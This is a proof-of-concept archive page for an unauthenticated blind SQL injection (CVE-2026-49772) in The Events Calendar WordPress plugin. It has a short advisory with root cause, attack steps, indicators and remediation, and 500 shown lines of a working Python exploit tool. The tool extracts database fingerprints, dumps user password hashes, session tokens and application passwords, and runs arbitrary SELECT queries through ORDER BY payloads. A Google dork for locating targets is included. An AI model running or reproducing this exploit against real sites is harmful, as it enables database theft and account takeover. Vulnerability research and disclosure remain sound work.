PoC Archive PoC Archive
Critical CVE-2026-49772 patched

The Events Calendar WordPress Plugin Unauthenticated Blind SQL Injection (CVE-2026-49772)

by joshuavanderpoll · 2026-07-05

CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-49772
Category
web
Affected product
The Events Calendar (WordPress plugin, StellarWP / Liquid Web), experimental tec/v1 REST API
Affected versions
6.15.12 – 6.16.2 (fixed in 6.16.3)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherjoshuavanderpoll
CVE / AdvisoryCVE-2026-49772
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L, as stated in source)
StatusPoC
Tagswordpress, sqli, blind-sqli, rest-api, the-events-calendar, unauthenticated, python
RelatedN/A

Affected Target

FieldValue
Software / SystemThe Events Calendar (WordPress plugin, StellarWP / Liquid Web), experimental tec/v1 REST API
Versions Affected6.15.126.16.2 (fixed in 6.16.3)
Language / PlatformPHP (WordPress plugin), exploited via a pure-stdlib Python 3 script
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-49772.py is a full-featured blind SQL injection tool targeting an unauthenticated, unsanitized order parameter on The Events Calendar’s experimental REST endpoint GET /wp-json/tec/v1/events. A broken REST parameter validator (validate_callback returns a closure instead of performing validation) allows the order value to reach the SQL ORDER BY clause unescaped. The tool supports both boolean-based and time-based blind oracles (multithreaded, no external dependencies) and provides vulnerability checking, database/environment recon, dumping wp_users and wp_usermeta, arbitrary table dumping, and arbitrary scalar SELECT extraction.


Vulnerability Details

Root Cause

The order REST parameter on the experimental tec/v1 events endpoint is registered with a validate_callback that returns a closure instead of actually validating/whitelisting the input (e.g. restricting it to ASC/DESC). As a result, the raw parameter value is concatenated directly into the query’s ORDER BY clause (... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...), enabling classic ORDER BY-based SQL injection. Since the endpoint only returns event listings (no direct reflection of the injected data or error messages), exploitation is blind — via boolean-conditional responses or time-delay oracles.

Attack Vector

  1. Attacker sends unauthenticated GET requests to /wp-json/tec/v1/events?orderby=event_date&order=<payload> on a site running a vulnerable version of The Events Calendar.
  2. The <payload> is injected unsanitized into the SQL ORDER BY clause, allowing boolean conditions (... AND (SELECT CASE WHEN (<condition>) THEN event_date ELSE NULL END)) or time-based conditions (... AND IF(<condition>, SLEEP(n), 0)) to alter the query’s behavior or response timing.
  3. The attacker iterates bit-by-bit / character-by-character boolean or timing tests to extract data: database version, current user/database, table prefix, wp_users login/email/password-hash values, wp_usermeta session tokens and application passwords, or the result of an arbitrary scalar SELECT.
  4. Because the injection is read-only (no stacked queries, no writes), the entire accessible database can be exfiltrated purely through this oracle, without ever needing valid WordPress credentials.

Impact

Unauthenticated full-database disclosure on any WordPress site running the vulnerable plugin version range: user password hashes, session tokens/application passwords (enabling account takeover), and any other data stored in the WordPress database reachable by the current DB user.


Environment / Lab Setup

Target:   WordPress 6.7.2 + The Events Calendar 6.16.2, served via docker/docker-compose.yml (WordPress + MariaDB 11 + wp-cli provisioner) with the vulnerable plugin bundled locally and a pre-seeded database
Attacker: Python 3 standard library only (urllib, threading, ThreadPoolExecutor) — python3 CVE-2026-49772.py <target> <action>

Proof of Concept

PoC Script

See CVE-2026-49772.py and requirements.txt in this folder.

1
2
3
4
5
6
7
python3 CVE-2026-49772.py target.tld --check

python3 CVE-2026-49772.py target.tld --recon

python3 CVE-2026-49772.py target.tld --users

python3 CVE-2026-49772.py target.tld --query "SELECT @@version"

Running any of these actions sends crafted order parameter values to /wp-json/tec/v1/events, using either a fast boolean oracle or a multithreaded time-based oracle (selectable via --technique) to infer database content bit-by-bit; results are printed to the console (fingerprint info for --recon, tabular rows for --users/--user-meta/--get-table, or a raw value for --query).


Detection & Indicators of Compromise

Signs of compromise:

  • Web server / WAF logs showing order= query values containing SLEEP(, CASE WHEN, information_schema, or SQL comment sequences
  • Abnormal spikes in requests to /wp-json/tec/v1/events from a single source with no corresponding calendar/front-end activity
  • Leaked wp_users password hashes or wp_usermeta session tokens later used for account takeover without a prior legitimate login

Remediation

ActionDetail
Primary fixUpdate The Events Calendar to 6.16.3 or later, which fixes the order parameter’s REST validation
Interim mitigationBlock or restrict access to /wp-json/tec/v1/ at the WAF/reverse-proxy level until the plugin is updated

References


Notes

Mirrored from https://github.com/joshuavanderpoll/CVE-2026-49772 on 2026-07-05.

CVE-2026-49772.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# CVE-2026-49772 - The Events Calendar (WordPress) Unauthenticated Blind SQL Injection
# Affected: The Events Calendar 6.15.12 - 6.16.2 (fixed in 6.16.3)
# Impact: Unauthenticated blind SQLi via the `order` param on /wp-json/tec/v1/events
#         (ORDER BY injection). Full read of the database. No write, no stacked queries.
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-49772
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2 (Linux docker lab)
#
# Exploit Title: The Events Calendar 6.15.12-6.16.2 - Unauthenticated Blind SQL Injection
# Google Dork: inurl:"/wp-json/tec/v1/events"
# Date: 2026-06-22
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://theeventscalendar.com/
# Software Link: https://downloads.wordpress.org/plugin/the-events-calendar.6.16.2.zip
# Version: 6.15.12 - 6.16.2
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2
# CVE: CVE-2026-49772

import argparse
import json
import re
import shutil
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor

RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"

ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")

REPO = "https://github.com/joshuavanderpoll/CVE-2026-49772"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-49772; +{REPO})"

# Experimental endpoint gate - server lowercases and compares this exact string.
EEA = (
    "I understand that this endpoint is experimental and may change in a future "
    "release without maintaining backward compatibility. I also understand that I "
    "am using this endpoint at my own risk, while support is not provided for it."
)

VULN_MIN = (6, 15, 12)
VULN_MAX = (6, 16, 2)


def err(msg):
    print(f"{RED}[-]{RESET} {msg}")


def ok(msg):
    print(f"{GREEN}[+]{RESET} {msg}")


def info(msg):
    print(f"{BLUE}[*]{RESET} {msg}")


def proc(msg):
    print(f"{CYAN}[@]{RESET} {msg}")


def banner():
    art = r"""
  ______   ______    ___  ___  ___  ____     ____ ___  ___________
 / ___/ | / / __/___|_  |/ _ \|_  |/ __/____/ / // _ \/_  /_  /_  |
/ /__ | |/ / _//___/ __// // / __// _ \/___/_  _/\_, / / / / / __/
\___/ |___/___/   /____/\___/____/\___/     /_/ /___/ /_/ /_/____/
"""
    print(f"{PINK}{art}{RESET}")
    print(f"{PINK}{BOLD}{REPO}{RESET}\n")


def normalize(target):
    target = target.strip().rstrip("/")

    if "://" not in target:
        target = "http://" + target

    return target


def hexlit(value):
    if isinstance(value, str):
        value = value.encode("utf-8")

    return "0x" + value.hex()


def parse_version(text):
    nums = []

    for p in text.strip().split(".")[:3]:
        digits = "".join(c for c in p if c.isdigit())
        nums.append(int(digits) if digits else 0)

    while len(nums) < 3:
        nums.append(0)

    return tuple(nums)


def is_vulnerable_version(ver):
    return VULN_MIN <= ver <= VULN_MAX


def http_get(url, ua, timeout, headers=None):
    req = urllib.request.Request(url, method="GET")
    req.add_header("User-Agent", ua)

    if headers:
        for k, v in headers.items():
            req.add_header(k, v)

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    start = time.perf_counter()

    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        body = resp.read()
        elapsed = time.perf_counter() - start
        return resp.status, dict(resp.headers), body, elapsed

    except urllib.error.HTTPError as e:
        elapsed = time.perf_counter() - start
        return e.code, dict(e.headers), e.read(), elapsed

    except Exception as e:
        elapsed = time.perf_counter() - start
        return None, {}, str(e).encode(), elapsed


def events_request(base, ua, timeout, order):
    url = base + "/wp-json/tec/v1/events?" + urllib.parse.urlencode(
        {"orderby": "event_date", "order": order}
    )
    return http_get(url, ua, timeout, {"X-TEC-EEA": EEA})


class Oracle:
    # Wraps the blind ORDER BY injection into a single boolean test:
    #   true(cond) -> True if the SQL condition `cond` holds on the target.
    def __init__(self, base, ua, timeout, technique, delay):
        self.base = base
        self.ua = ua
        self.timeout = timeout
        self.technique = technique
        self.delay = delay
        self.requests = 0

    def _send(self, order):
        self.requests += 1
        return events_request(self.base, self.ua, self.timeout, order)

    def true(self, cond):
        if self.technique == "time":
            order = f"ASC,(SELECT CASE WHEN ({cond}) THEN SLEEP({self.delay}) ELSE 0 END)"
            _, _, _, elapsed = self._send(order)
            return elapsed >= self.delay

        # boolean: a true condition triggers a multi-row subquery error, which
        # makes the whole SELECT fail and the endpoint return an empty array.
        order = f"ASC,(SELECT CASE WHEN ({cond}) THEN (SELECT 1 UNION SELECT 2) ELSE 1 END)"
        _, _, body, _ = self._send(order)
        return body.strip() == b"[]"

    def gt(self, expr, n):
        return self.true(f"({expr})>{n}")

    def calibrate(self):
        # A known-true and known-false condition must read differently, else the
        # oracle is unreliable (wrong baseline, WAF, no rows, etc.).
        return self.true("1=1") and not self.true("1=2")

    def errors(self, subquery):
        # A real LENGTH is never above a million; only an erroring subquery makes
        # the comparison itself fail, which the boolean oracle reads as "true".
        # Catches invalid table/column names before a pointless full extraction.
        return self.technique == "boolean" and self.gt(f"LENGTH(({subquery}))", 1000000)


def search_int(oracle, expr, hi):
    lo = 0

    while lo < hi:
        mid = (lo + hi) // 2

        if oracle.gt(expr, mid):
            lo = mid + 1
        else:
            hi = mid

    return lo


def extract_string(oracle, subquery, threads=8, max_length=1024, live=False, prefix=""):
    if oracle.errors(subquery):
        return None

    length = search_int(oracle, f"LENGTH(({subquery}))", max_length)

    if length <= 0:
        return ""

    if length >= max_length:
        err(f"Value hit the {max_length}-char cap - query may be invalid or huge")
        return None

    chars = [None] * length
    stream = live and sys.stdout.isatty()
    lock = threading.Lock()

    prefix_len = len(ANSI_RE.sub("", prefix))

    def render(end=False):
        line = "".join(c if c is not None else "·" for c in chars)

        # Final value prints in full (may wrap once). Live frames are clamped to a
        # single terminal row so \r + clear-line can fully overwrite them.
        if not end:
            avail = max(10, shutil.get_terminal_size((100, 24)).columns - prefix_len - 1)
            if len(line) > avail:
                line = line[: avail - 1] + "…"

        sys.stdout.write(f"\033[2K\r{prefix}{line}{RESET}")
        if end:
            sys.stdout.write("\n")
        sys.stdout.flush()

    if stream:
        render()

    def pull(pos):
        code = search_int(oracle, f"ASCII(SUBSTRING(({subquery}),{pos},1))", 127)
        chars[pos - 1] = chr(code) if code else ""

        if stream:
            with lock:
                render()

    with ThreadPoolExecutor(max_workers=threads) as pool:
        pool.map(pull, range(1, length + 1))

    result = "".join(c or "" for c in chars)

    if stream:
        render(end=True)

    return result


def show(oracle, sql, threads, label, max_length=512):
    # Extract one value, streaming it live, and report it consistently.
    value = extract_string(
        oracle, sql, threads, max_length, live=True, prefix=f"{GREEN}[+]{RESET} {label}: "
    )

    if value is None:
        err(f"{label}: query errored")
    elif not sys.stdout.isatty():
        ok(f"{label}: {value}")

    return value


def detect_version(base, ua, timeout):
    url = base + "/wp-content/plugins/the-events-calendar/readme.txt"
    status, _, body, _ = http_get(url, ua, timeout)

    if status != 200 or not body:
        return None

    for line in body.decode("utf-8", "ignore").splitlines():
        if line.lower().startswith("stable tag"):
            return line.split(":", 1)[1].strip()

    return None


def detect_endpoint(base, ua, timeout):
    status, _, body, _ = http_get(base + "/wp-json/", ua, timeout)

    if status != 200 or not body:
        return False

    try:
        return "tec/v1" in json.loads(body).get("namespaces", [])
    except Exception:
        return False


def count_events(base, ua, timeout):
    status, headers, _, _ = events_request(base, ua, timeout, "ASC")

    if status != 200:
        return None

    total = headers.get("X-WP-Total")
    return int(total) if total and total.isdigit() else None


def ensure_ready(base, ua, timeout):
    if not detect_endpoint(base, ua, timeout):
        err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
        return False

    version = detect_version(base, ua, timeout)

    if version:
        flag = "affected" if is_vulnerable_version(parse_version(version)) else "outside range"
        info(f"The Events Calendar version: {version} ({flag})")

    n = count_events(base, ua, timeout)

    if n is None:
        err("Events endpoint not reachable")
        return False

    if n == 0:
        err("No events present - the blind ORDER BY oracle needs >=1 row")
        return False

    info(f"Endpoint live, {n} event(s) visible - oracle ready")
    return True


def detect_prefix(oracle, threads, override):
    if override:
        return override

    name = extract_string(
        oracle,
        "SELECT table_name FROM information_schema.tables "
        "WHERE table_schema=database() AND table_name LIKE 0x255f7573657273 LIMIT 1",
        threads,
        max_length=64,
    )

    if name and name.endswith("users"):
        return name[: -len("users")]

    return "wp_"


def run_check(base, ua, timeout):
    proc(f"Target: {base}")

    if not detect_endpoint(base, ua, timeout):
        err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
        return False

    ok("REST namespace tec/v1 is exposed")

    version = detect_version(base, ua, timeout)

    if version:
        info(f"Detected The Events Calendar version: {version}")

        if is_vulnerable_version(parse_version(version)):
            ok(f"Version {version} is in the affected range (6.15.12 - 6.16.2)")
        else:
            err(f"Version {version} is outside the affected range")
    else:
        info("Version not readable from readme.txt - relying on behaviour check")

    n = count_events(base, ua, timeout)

    if n is not None:
        info(f"Published events visible to the endpoint: {n}")

        if n == 0:
            err("No events present - time-based ORDER BY check needs >=1 row")
            return False

    delay = 3
    proc(f"Running non-destructive time-based check (SLEEP {delay})...")

    _, _, _, base_a = events_request(base, ua, timeout, "ASC")
    _, _, _, base_b = events_request(base, ua, timeout, "DESC")
    baseline = min(base_a, base_b)

    _, _, _, injected = events_request(base, ua, timeout, f"ASC,(SELECT SLEEP({delay}))")

    info(f"Baseline: {baseline:.2f}s   Injected: {injected:.2f}s")

    if injected - baseline >= delay:
        ok(f"{BOLD}VULNERABLE{RESET} - injected SLEEP delayed the response")
        info("Sink: ORDER BY event_date <order> on /wp-json/tec/v1/events")
        return True

    err("No significant delay - target does not appear injectable (likely patched)")
    return False


def run_recon(oracle, threads, prefix_override):
    proc("Fingerprinting database...")

    prefix = detect_prefix(oracle, threads, prefix_override)
    ok(f"Table prefix: {prefix}")

    items = [
        ("DB version", "SELECT @@version"),
        ("Current user", "SELECT CURRENT_USER()"),
        ("Database", "SELECT DATABASE()"),
        ("Hostname", "SELECT @@hostname"),
        ("Compile OS", "SELECT @@version_compile_os"),
        (
            "Privileges",
            "SELECT GROUP_CONCAT(privilege_type) FROM information_schema.user_privileges",
        ),
    ]

    for label, sql in items:
        show(oracle, sql, threads, label)

    users = search_int(oracle, f"SELECT COUNT(*) FROM {prefix}users", 100000)
    ok(f"WordPress users: {users}")

    info(f"Requests sent: {oracle.requests}")
    return True


def dump_rows(oracle, table, columns, threads, where, rows):
    cond = f" WHERE {where}" if where else ""
    total = search_int(oracle, f"SELECT COUNT(*) FROM {table}{cond}", 1000000)
    ok(f"{table}: {total} row(s)")

    limit = min(total, rows)

    if total > rows:
        info(f"Showing first {rows} (use --rows to change)")

    sep = hexlit("|")
    coalesced = ",".join(f"COALESCE({c},0x4e554c4c)" for c in columns)

    print(f"{BOLD}{' | '.join(columns)}{RESET}")

    for i in range(limit):
        sql = f"SELECT CONCAT_WS({sep},{coalesced}) FROM {table}{cond} LIMIT {i},1"
        row = extract_string(
            oracle, sql, threads, max_length=4096, live=True, prefix=f"{GREEN}[{i}] {RESET}{GREEN}"
        )

        if row is None:
            err("Row query errored - check the table name and --where clause")
            break

        if not sys.stdout.isatty():
            print(f"{GREEN}[{i}] {row}{RESET}")

    info(f"Requests sent: {oracle.requests}")
    return True


def run_users(oracle, threads, prefix_override, rows):
    prefix = detect_prefix(oracle, threads, prefix_override)
    proc(f"Dumping {prefix}users...")
    cols = ["ID", "user_login", "user_email", "user_pass", "user_activation_key"]
    return dump_rows(oracle, f"{prefix}users", cols, threads, None, rows)


def run_user_meta(oracle, threads, prefix_override, rows, where):
    prefix = detect_prefix(oracle, threads, prefix_override)
    proc(f"Dumping {prefix}usermeta...")

    if not where:
        # Default to the security-relevant meta keys.
        keys = ["session_tokens", f"{prefix}capabilities", "community_events_status"]
        app_pw = "_application_passwords"
        in_list = ",".join(hexlit(k) for k in keys + [app_pw])
        where = f"meta_key IN ({in_list})"
        info("Filtering to session/capability/app-password keys (override with --where)")

    cols = ["umeta_id", "user_id", "meta_key", "meta_value"]
    return dump_rows(oracle, f"{prefix}usermeta", cols, threads, where, rows)


def run_get_table(oracle, threads, table, rows, where):
    proc(f"Discovering columns of {table}...")

    cols_csv = extract_string(
        oracle,
        "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        f"WHERE table_schema=database() AND table_name={hexlit(table)} "
        "ORDER BY ordinal_position",
        threads,
Showing 500 of 681 lines View full file on GitHub →